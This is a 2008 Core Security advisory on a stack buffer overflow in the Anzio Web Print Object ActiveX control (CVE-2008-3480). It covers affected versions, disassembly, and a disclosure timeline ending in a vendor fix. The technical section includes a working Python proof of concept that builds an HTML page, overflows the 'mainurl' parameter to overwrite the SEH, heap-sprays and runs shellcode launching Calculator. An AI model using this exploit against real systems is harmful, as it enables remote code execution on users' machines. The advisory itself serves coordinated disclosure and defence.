Anzio Web Print Object Buffer Overflow

Advisory ID Internal

Advisory Information

Title: Anzio Web Print Object Buffer Overflow
Advisory ID: CORE-2008-0624
Advisory URL:
Date published: 2008-08-20
Date of last update: 2008-08-20
Vendors contacted: Anzio
Release mode: Coordinated release


Vulnerability Information

Class: Buffer overflow
Remotely Exploitable: Yes (client side)
Locally Exploitable: No
Bugtraq ID: 30545
CVE Name: CVE-2008-3480



Vulnerability Description


Anzio Web Print Object (WePO) is a Windows ActiveX web page component that, when placed on a web page can "push" a print job from a file or web server to a user's local printer without having to display the HTML equivalent to that user. By placing WePO code on a web page, you can provide a method whereby the viewer of that web page can request a local print of a host resident print job, archived print job or a report stream through a server-side script request.

Anzio Web Print Object is vulnerable to a buffer overflow attack, which can be exploited by remote attackers to execute arbitrary code, by providing a malicious web page with a long "mainurl" parameter for the WePO ActiveX component.

Vulnerable packages

  • Anzio Web Print Object 3.2.19
  • Anzio Web Print Object 3.2.24
  • Anzio Print Wizard Server Edition 3.2.19
  • Anzio Print Wizard Personal Edition 3.2.19
  • Older versions are probably affected too, but were not checked.

Non-vulnerable packages

  • Anzio Web Print Object 3.2.30

Vendor Information, Solutions and Workarounds

Update to Anzio Web Print Object 3.2.30, or visit the vendor homepage at


This vulnerability was discovered and researched by Francisco Falcon from Core Security Technologies.

Technical Description / Proof of Concept Code

The WePO ActiveX component has a parameter named "mainurl" that indicates the local file name or the URL from where to retrieve the content to print:

<param name="mainurl" value=""> 

WePO takes the value of "mainurl" parameter in OLECHAR format and transforms it to a BSTR string using the API SysAllocStringLen from oleaut32.dll. The pointer to a BSTR string returned by SysAllocStringLen is stored in the stack.

024F64B8 . 51 PUSH ECX ; length of "mainurl" value 024F64B9 . 52 PUSH EDX ; pointer to "mainurl" value 024F64BA . E8 4DB0FFFF CALL JMP.oleaut32.SysAllocStringLen 024F64BF . 5A POP EDX 024F64C0 . 85C0 TEST EAX,EAX 024F64C2 .^0F84 94F9FFFF JE PWBUTT~1.024F5E5C 024F64C8 . 8902 MOV DWORD PTR DS:[EDX],EAX ; ;Save BSTR pointer to stack 024F64CA > C3 RETN 

After that, it copies "mainurl" value in ASCII format to a buffer on the stack, without validating its length.

024F300C /$ 56 PUSH ESI 024F300D |. 57 PUSH EDI 024F300E |. 89C6 MOV ESI,EAX ; ESI = pointer to "mainurl" value 024F3010 |. 89D7 MOV EDI,EDX ; EDI = pointer to destination buffer in the stack 024F3012 |. 89C8 MOV EAX,ECX ; ECX = length of "mainurl" value 024F3014 |. 39F7 CMP EDI,ESI 024F3016 |. 77 13 JA SHORT PWBUTT~1.024F302B 024F3018 |. 74 2F JE SHORT PWBUTT~1.024F3049 024F301A |. C1F9 02 SAR ECX,2 024F301D |. 78 2A JS SHORT PWBUTT~1.024F3049 024F301F |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; Copy "mainurl" value to stack buffer, 024F3021 |. 89C1 MOV ECX,EAX ; without validating its length 024F3023 |. 83E1 03 AND ECX,3 024F3026 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 024F3028 |. 5F POP EDI 024F3029 |. 5E POP ESI 024F302A |. C3 RETN 

By supplying a web page with a long "mainurl" value, an attacker can overflow the stack buffer mentioned above and overwrite the SEH (Structured Exception Handler), enabling arbitrary code execution on the machine that has the WePO ActiveX component installed. The Structured Exception Handler can be overwritten by providing a "mainurl" value with 396 bytes as padding, plus 4 specially chosen bytes that will replace the original SEH, allowing execution of arbitrary code with the privileges of the current user.

When providing such a long string as value for the "mainurl" parameter, an access violation exception is generated when WePO object calls the API SysFreeString to deallocate the BSTR string that was previously created with SysAllocStringLen. The exception raises because the original pointer to the BSTR string was replaced with 4 junk bytes from the 396 padding bytes mentioned above.

024F5E98 |. 50 PUSH EAX 024F5E99 |. 52 PUSH EDX ; junk, should be pointer to BSTR string 024F5E9A |. E8 7DB6FFFF CALL JMP.oleaut32.SysFreeString 

At this point, the Structured Exception Handler is already controlled by the attacker, so when exception raises the execution is transferred to an arbitrary memory address chosen by the person providing the malicious web page.

By adding JavaScript code in the malicious web page, the attacker can use a technique called Heap Spray, that fills the heap of the browser process with his payload, and then jump to the arbitrary code located in the process heap.

The following Python code will generate an HTML file that, when opened on a machine with Web Print Object installed, will launch the Windows Calculator as a proof of the possibility to execute arbitrary code on a machine that has the vulnerable ActiveX component installed. This Proof of Concept was tested in Windows XP Professional SP2 with Internet Explorer 6.0.2900.2180, and Windows XP Professional SP3 with Internet Explorer 6.0.2900.3264, but can be easily modified to work in other platforms.

malicioushtml = open('WePO-PoC.html','w') header = ''' <html> <head><title>WePO Buffer Overflow PoC</title> </head> <body> ''' malicioushtml.write(header) objeto = ''' <OBJECT classid="clsid:4CE8026D-5DBF-48C9-B6E9-14A2B1974A3D" codebase=",0,0,0" width=0 height=0 align=center hspace=0 id="botontrigger" > ''' malicioushtml.write(objeto) craftedparam = '<param name="mainurl" value="' craftedparam += 'A' * 0x188 #0x188 padding bytes to fill the buffer craftedparam += chr(0xFF) * 4 #indicates the end of SEH Chain craftedparam += chr(0x0C) * 4 #overwrite the SEH, new value will be 0x0C0C0C0C craftedparam += '">' malicioushtml.write(craftedparam) jscode = ''' <param name="caption" value="Rompete"> <param name="Cancel" value="0"> <param name="Default" value="0"> <param name="DragCursor" value="-12"> <param name="DragMode" value="0"> <param name="Enabled" value="-1"> <param name="Font" value="MS Sans Serif"> <param name="Visible" value="-1"> <param name="DoubleBuffered" value="0"> <param name="Cursor" value="0"> <param name="licensecode" value> <param name="printersetup" value="1"> <param name="printername" value="printer"> <param name="charset" value="UTF-8"> <param name="debug" value="0"> <param name="initfile" value> <param name="orientation" value> <param name="duplex" value> <param name="fontname" value> <param name="overlay" value> <param name="bitmap" value> <param name="preview" value="0"> <param name="faxnum" value> </OBJECT> <script> var shellcode = unescape("%u0de8%u0000%u6b00%u7265%u656e%u336c%u2e32%u6c64%u006c%u15ff%u108c%u0040%uf08b%u08e8%u0000%u5700%u6e69%u7845%u6365%u5600%u15ff%u1030%u0040%uec81%u0400%u0000%u016a%u09e8%u0000%u6300%u6c61%u2e63%u7865%u0065%ud0ff%u0ce8%u0000%u4500%u6978%u5074%u6f72%u6563%u7373%u5600%u15ff%u1030%u0040%u006a%ud0ff"); var spraySlide = unescape("%u9090%u9090"); var heapSprayToAddress = 0x0c0c0c0c; function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return (spraySlide); } var heapBlockSize = 0x100000; var SizeOfHeapDataMoreover = 0x5; var payLoadSize = (shellcode.length * 2); var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover); var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize; var memory = new Array(); spraySlide = getSpraySlide(spraySlide,spraySlideSize); for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + shellcode; } document.botontrigger.Click(); </script> </body> </html> ''' malicioushtml.write(jscode) malicioushtml.close() 


Report Timeline

  • 2008-06-27: Core Security Technologies notifies Anzio that there is a vulnerability in Web Print Object (WePO).
  • 2008-06-28: Vendor acknowledges notification.
  • 2008-07-01: Core sends an advisory draft, containing technical details and Proof of Concept code for the vulnerability.
  • 2008-07-08: Core asks for confirmation of the vulnerability, and reminds the vendor that the advisory's publication date is set to July 14th, 2008.
  • 2008-07-08: Vendor asks Core to resend the report.
  • 2008-07-14: Core sends (again) the advisory draft, and asks for information about the vendor's plan for fixing the vulnerability.
  • 2008-07-21: Core asks for updated information, and notifies the vendor that the advisory's publication date has been rescheduled for August 4th.
  • 2008-07-21: Vendor asks Core to resend the report.
  • 2008-07-21: Core sends (for the third time) the advisory draft as a compressed file.
  • 2008-07-21: Vendor confirms reception of the reports and states that the problem has been identified.
  • 2008-07-31: Core asks for updated information about the release of fixed versions (no reply received).
  • 2008-08-04: Core asks for updated information, and reschedules the publication of the advisory to August 11th 2008 (no reply received).
  • 2008-08-11: Core makes a phone call to the vendor, asking one more time for a release date of fixed versions. Vendor informs that new versions will be released during the week.
  • 2008-08-15: Vendor releases fixed version Anzio Web Print Object 3.2.30.
  • 2008-08-20: Advisory CORE-2008-0624 is published.

About CoreLabs

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About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at


The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.


This advisory has been signed with the GPG key of Core Security Technologies advisories team.